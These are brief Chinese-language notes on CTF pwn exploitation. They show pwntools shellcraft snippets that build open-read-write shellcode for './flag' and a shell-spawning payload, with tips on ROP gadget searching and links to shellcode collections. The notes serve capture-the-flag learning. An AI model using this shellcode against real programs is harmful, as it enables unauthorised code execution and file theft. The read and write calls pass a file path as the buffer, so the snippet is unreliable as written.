要注意常规orw和调用elf里面的open函数不一样,elf里面的实质上是openat函数
jihe:
这个时候要找gadgets控制寄存器,然后再找syscall;ret这种gadgets
ROPgadget 加上 --multibr就能找这种gadgets
生成方式:
1.shellcraft配合函数生成
def orw_shellcode():
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)
return payload
2.shellcraft自带sh
payload = asm(shellcraft.sh())
3.网上payload
Exploit Database Shellcodes (exploit-db.com)
pwn题shellcode收集_pyiiiiiiiiiiqzvtx30vx4ap0a3hh0a00abaabtaaq2ab2bb0b___lifanxin的博客-CSDN博客
Chromium OS Docs - Linux System Call Table (googlesource.com)
可以参考这个链接使用平替函数